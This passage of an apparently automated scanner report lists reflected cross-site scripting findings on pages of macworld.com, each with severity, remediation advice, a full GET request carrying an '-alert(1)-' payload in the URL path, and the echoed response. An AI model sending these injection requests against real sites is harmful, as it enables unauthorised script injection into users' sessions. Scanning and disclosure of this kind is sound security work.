Last-Modified: Fri, 17 Dec 2010 02:22:54 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:54 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156477/2010faed7'-alert(1)-'fe90475a046/12/remains_121610.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cooki
...[SNIP]...

3.54. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156477/2010/12/remains_121610.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 829b6'-alert(1)-'f0587dc8cc3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156477/2010/12829b6'-alert(1)-'f0587dc8cc3/remains_121610.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:03 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:02 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156477/2010/12829b6'-alert(1)-'f0587dc8cc3/remains_121610.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie =
...[SNIP]...

3.55. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156477/2010/12/remains_121610.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b44b'-alert(1)-'8fa0b4df2ba was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156477/2010/12/remains_121610.html5b44b'-alert(1)-'8fa0b4df2ba HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:13 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...

Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156477/2010/12/remains_121610.html5b44b'-alert(1)-'8fa0b4df2ba';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.56. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156480/2010/12/airport_updates.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be58d'-alert(1)-'095867f4059 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156480/2010be58d'-alert(1)-'095867f4059/12/airport_updates.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:03 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:02 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156480/2010be58d'-alert(1)-'095867f4059/12/airport_updates.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cook
...[SNIP]...

3.57. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156480/2010/12/airport_updates.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c850a'-alert(1)-'a045fb2ab81 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156480/2010/12c850a'-alert(1)-'a045fb2ab81/airport_updates.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:18 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:18 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156480/2010/12c850a'-alert(1)-'a045fb2ab81/airport_updates.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie
...[SNIP]...

3.58. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156480/2010/12/airport_updates.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8692c'-alert(1)-'b020bcdc708 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156480/2010/12/airport_updates.html8692c'-alert(1)-'b020bcdc708 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:28 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...

Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156480/2010/12/airport_updates.html8692c'-alert(1)-'b020bcdc708';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.59. http://www.macworld.com/contact.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /contact.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dea6f'-alert(1)-'2e027dd8bba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /contact.htmldea6f'-alert(1)-'2e027dd8bba HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:27 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/contact.htmldea6f'-alert(1)-'2e027dd8bba';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.60. http://www.macworld.com/howto.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /howto.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload facb3'-alert(1)-'b2c35066689 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /howto.htmlfacb3'-alert(1)-'b2c35066689 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:56 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
= pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/howto.htmlfacb3'-alert(1)-'b2c35066689';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.61. http://www.macworld.com/info/copyright.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /info/copyright.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3f05'-alert(1)-'e63eb5f5a9b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info/copyright.htmle3f05'-alert(1)-'e63eb5f5a9b HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:54 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/info/copyright.htmle3f05'-alert(1)-'e63eb5f5a9b';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.62. http://www.macworld.com/info/press.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /info/press.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 26fd0'-alert(1)-'9481d0ca454 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info/press.html26fd0'-alert(1)-'9481d0ca454 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:51 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/info/press.html26fd0'-alert(1)-'9481d0ca454';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.63. http://www.macworld.com/info/privacy.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /info/privacy.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b6b1'-alert(1)-'9236159e262 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info/privacy.html5b6b1'-alert(1)-'9236159e262 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:52 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
eadCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/info/privacy.html5b6b1'-alert(1)-'9236159e262';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.64. http://www.macworld.com/info/standards.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /info/standards.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e685'-alert(1)-'5f8861a7056 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info/standards.html8e685'-alert(1)-'5f8861a7056 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:51 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/info/standards.html8e685'-alert(1)-'5f8861a7056';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.65. http://www.macworld.com/info/tos.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /info/tos.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 520c0'-alert(1)-'eff50e08460 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info/tos.html520c0'-alert(1)-'eff50e08460 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:49 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
cw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/info/tos.html520c0'-alert(1)-'eff50e08460';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.66. http://www.macworld.com/myaccount/profile [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /myaccount/profile

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d844e'-alert(1)-'3aa25c65149 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /myaccountd844e'-alert(1)-'3aa25c65149/profile HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:35 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
= pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/myaccountd844e'-alert(1)-'3aa25c65149/profile';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_ur
...[SNIP]...

3.67. http://www.macworld.com/myaccount/profile [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /myaccount/profile

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ca73'-alert(1)-'661588761ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /myaccount/profile1ca73'-alert(1)-'661588761ee HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:36 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
eadCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/myaccount/profile1ca73'-alert(1)-'661588761ee';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.68. http://www.macworld.com/news.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /news.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6bb6e'-alert(1)-'3ce342613c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news.html6bb6e'-alert(1)-'3ce342613c8 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:40 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
= pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/news.html6bb6e'-alert(1)-'3ce342613c8';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.69. http://www.macworld.com/newsletters/index [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /newsletters/index

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8847f'-alert(1)-'93ba796c657 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /newsletters/index8847f'-alert(1)-'93ba796c657 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
